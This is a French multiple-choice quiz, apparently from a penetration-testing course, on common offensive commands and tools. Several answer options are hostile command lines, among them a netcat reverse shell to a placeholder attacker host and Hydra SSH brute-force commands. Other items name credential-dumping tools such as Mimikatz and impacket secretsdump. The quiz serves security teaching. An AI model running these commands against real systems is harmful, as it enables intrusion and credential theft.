Évaluation — Fiche 8 - Commandes essentielles pour le pentest – Référence rapide · Quiz

Question 1

Quelle commande Nmap permet de lancer les scripts par défaut en plus du scan ?

-sC -sS -sV -O

Question 2

Sous Windows, quel outil est le plus adapté pour extraire les mots de passe en clair depuis la mémoire ?

Hashcat Mimikatz John the Ripper Hydra

Question 3

Pour établir un reverse shell avec netcat, quelle commande doit être exécutée sur la machine cible ?

nc -lvnp 4444 nc -e /bin/sh <attaquant> 4444 nc -nv <attaquant> 4444 nc -l 4444

Question 4

Quel outil est un framework d'OSINT modulaire ?

theHarvester recon-ng Shodan dig

Question 5

Sous Linux, comment planifier l'exécution d'un script au démarrage du système ?

Ajouter la commande dans ~/.bashrc Ajouter une tâche cron avec @reboot Ajouter dans /etc/init.d Utiliser systemctl enable

Question 6

Quelle option de ssh permet de créer un tunnel direct (forward) ?

-L -R -D -f

Question 7

Dans le cadre d'une attaque par force brute, quelle commande hydra est correcte pour SSH ?

hydra -l root -P wordlist.txt ssh://192.168.1.10 hydra -L users.txt -p password ssh://192.168.1.10 hydra -l root -P wordlist.txt http://192.168.1.10 hydra -l root -p password ssh://192.168.1.10

Question 8

Quel outil est recommandé pour détecter des vulnérabilités web en utilisant des templates prêts à l'emploi ?

Nikto Nuclei OpenVAS Nessus

Question 9

Sous Windows, comment exécuter une commande PowerShell à distance sur une machine du domaine ?

powershell -c 'Invoke-Command -ComputerName <host> -ScriptBlock {<cmd>}' psexec \<host> powershell -c <cmd> winrs -r:<host> powershell -c <cmd> Toutes les réponses ci-dessus

Question 10

Quelle commande permet de vider les hashes NTDS.dit depuis un contrôleur de domaine avec impacket ?

impacket-dumpntds impacket-secretsdump impacket-getTGT impacket-smbexec

Évaluation — Fiche 8 - Commandes essentielles pour le pentest – Référence rapide

Prêt(e) à démarrer ?